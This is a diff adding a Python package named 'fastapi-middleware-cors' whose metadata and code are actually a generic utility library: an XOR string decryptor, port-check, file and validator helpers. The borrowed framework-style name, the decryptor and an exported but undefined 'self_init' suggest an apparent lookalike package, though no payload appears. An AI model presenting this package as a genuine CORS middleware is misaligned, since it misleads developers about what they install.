+ for i, b in enumerate(data):
249
+ decrypted.append(b ^ key_bytes[i % len(key_bytes)])
250
+ return bytes(decrypted).decode()
251
+ except Exception:
252
+ return ""
253
+
254
+
255
+ class NetworkUtils:
256
+ @staticmethod
257
+ @retry(attempts=3, delay=0.5)
258
+ def check_port(host: str, port: int, timeout: float = 2.0) -> bool:
259
+ """Check if a TCP port is open on a host."""
260
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
261
+ sock.settimeout(timeout)
262
+ try:
263
+ sock.connect((host, port))
264
+ sock.shutdown(socket.SHUT_RDWR)
265
+ return True
266
+ except (socket.timeout, ConnectionRefusedError, OSError):
267
+ return False
268
+ finally:
269
+ sock.close()
270
+
271
+ @staticmethod
272
+ def get_local_ip() -> str:
273
+ try:
274
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
275
+ s.connect(("8.8.8.8", 80))
276
+ ip = s.getsockname()[0]
277
+ s.close()
278
+ return ip
279
+ except Exception:
280
+ return "127.0.0.1"
281
+
282
+
283
+ class FileUtils:
284
+ @staticmethod
285
+ def ensure_dir(path: str) -> None:
286
+ pathlib.Path(path).mkdir(parents=True, exist_ok=True)
287
+
288
+ @staticmethod
289
+ def read_json(path: str) -> dict:
290
+ with open(path, 'r', encoding='utf-8') as f:
291
+ return json.load(f)
292
+
293
+ @staticmethod
294
+ def write_json(path: str, data: dict, indent: int = 4) -> None:
295
+ FileUtils.ensure_dir(os.path.dirname(path))
296
+ with open(path, 'w', encoding='utf-8') as f:
297
+ json.dump(data, f, indent=indent, ensure_ascii=False)
298
+
299
+ @staticmethod
300
+ def safe_remove(path: str) -> bool:
301
+ try:
302
+ if os.path.isfile(path):
303
+ os.remove(path)
304
+ elif os.path.isdir(path):
305
+ shutil.rmtree(path)
306
+ return True
307
+ except Exception as e:
308
+ logger.error(f"Failed to remove {path}: {e}")
309
+ return False
310
+
311
+ class Validator:
312
+ EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$')
313
+
314
+ @staticmethod
315
+ def is_email(text: str) -> bool:
316
+ return bool(Validator.EMAIL_REGEX.match(text))
317
+
318
+ @staticmethod
319
+ def is_strong_password(text: str, min_len: int = 8) -> bool:
320
+ if len(text) < min_len:
321
+ return False
322
+ has_upper = any(c.isupper() for c in text)
323
+ has_lower = any(c.islower() for c in text)
324
+ has_digit = any(c.isdigit() for c in text)
325
+ return has_upper and has_lower and has_digit
326
+
327
+ @staticmethod
328
+ def sanitize_filename(filename: str) -> str:
329
+ # Remove unsafe characters
330
+ return re.sub(r'[^\w\-_\. ]', '_', filename)
331
+
332
+
333
+ def _initialize_library():
334
+ """Internal initialization routine called on import."""
335
+ logger.info(f"Initializing {get_config().app_name} v{get_config().version}")
336
+ logger.debug(f"Python Version: {sys.version}")
337
+ logger.debug(f"Platform: {sys.platform}")
338
+
339
+ # Perform sanity checks
340
+ if not os.path.exists(tempfile.gettempdir()):
341
+ logger.critical("Temp directory missing!")
342
+
343
+
344
+ def bootstrap():
345
+ """Public API to start the library context."""
346
+ configure(debug_mode=True)
347
+ _initialize_library()
348
+ logger.info("Library bootstrapped successfully.")
349
+
350
+ # Call initialization immediately upon import if needed,
351
+ # but usually better to let user call bootstrap()
352
+ # _initialize_library()
353
+
354
+ # Expose main classes and functions for easy import
355
+ __all__ = [
356
+ 'LibConfig', 'get_config', 'configure', 'logger',
357
+ 'retry', 'timing', 'deprecated',
358
+ 'LinkedList', 'PriorityQueue',
359
+ 'CryptoUtils', 'NetworkUtils', 'FileUtils', 'Validator',
360
+ 'bootstrap', 'self_init'
361
+ ]
@@ -0,0 +1,37 @@
1
+ Metadata-Version: 2.4
2
+ Name: fastapi-middleware-cors
3
+ Version: 1.0.0
4
+ Summary: bible of python utilities - a collection of useful functions and classes for everyday programming tasks
5
+ Author: Alexander
6
+ Author-email: alex_prog120@gmail.com
7
+ License: MIT
8
+ Classifier: Development Status :: 4 - Beta
9
+ Classifier: Intended Audience :: Developers
10
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Operating System :: OS Independent
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.7
15
+ Classifier: Programming Language :: Python :: 3.8
16
+ Classifier: Programming Language :: Python :: 3.9
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Requires-Python: >=3.7
21
+ Description-Content-Type: text/markdown
22
+ Dynamic: author
23
+ Dynamic: author-email
24
+ Dynamic: classifier
25
+ Dynamic: description
26
+ Dynamic: description-content-type
27
+ Dynamic: license
28
+ Dynamic: requires-python
29
+ Dynamic: summary
30
+
31
+ # My Super Lib
32
+
33
+ [![PyPI version](https://badge.fury.io/py/my-super-lib.svg)](https://badge.fury.io/py/my-super-lib)
34
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
35
+ [![Python Versions](https://img.shields.io/pypi/pyversions/my-super-lib.svg)](https://pypi.org/project/my-super-lib/)
36
+
37
+ # My new project
@@ -0,0 +1,8 @@
1
+ README.md
2
+ setup.py
3
+ fastapi-middleware-cors/__init__.py
4
+ fastapi-middleware-cors/core.py
5
+ fastapi_middleware_cors.egg-info/PKG-INFO
6
+ fastapi_middleware_cors.egg-info/SOURCES.txt
7
+ fastapi_middleware_cors.egg-info/dependency_links.txt
8
+ fastapi_middleware_cors.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ fastapi-middleware-cors
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,43 @@
1
+ import setuptools
2
+ from pathlib import Path
3
+
4
+ this_directory = Path(__file__).parent
5
+ long_description = ""
6
+ if (this_directory / "README.md").exists():
7
+ long_description = (this_directory / "README.md").read_text(encoding="utf-8")
8
+
9
+
10
+ VERSION = "1.0.0"
11
+
12
+ setuptools.setup(
13
+ name="fastapi-middleware-cors",
14
+ version=VERSION,
15
+ author="Alexander",
16
+ author_email="alex_prog120@gmail.com",
17
+ description="bible of python utilities - a collection of useful functions and classes for everyday programming tasks",
18
+ long_description=long_description,
19
+ long_description_content_type="text/markdown",
20
+ classifiers=[
21
+ "Development Status :: 4 - Beta",
22
+ "Intended Audience :: Developers",
23
+ "Topic :: Software Development :: Libraries :: Python Modules",
24
+ "License :: OSI Approved :: MIT License",
25
+ "Operating System :: OS Independent",
26
+ "Programming Language :: Python :: 3",
27
+ "Programming Language :: Python :: 3.7",
28
+ "Programming Language :: Python :: 3.8",
29
+ "Programming Language :: Python :: 3.9",
30
+ "Programming Language :: Python :: 3.10",
31
+ "Programming Language :: Python :: 3.11",
32
+ "Programming Language :: Python :: 3.12",
33
+ ],
34
+ requires_python=">=3.7",
35
+ install_requires=[],
36
+ packages=setuptools.find_packages(),
37
+ package_data={
38
+ "fastapi-middleware-cors": ["*.txt", "*.json"],
39
+ },
40
+ include_package_data=True,
41
+ license="MIT",
42
+ python_requires=">=3.7",
43
+ )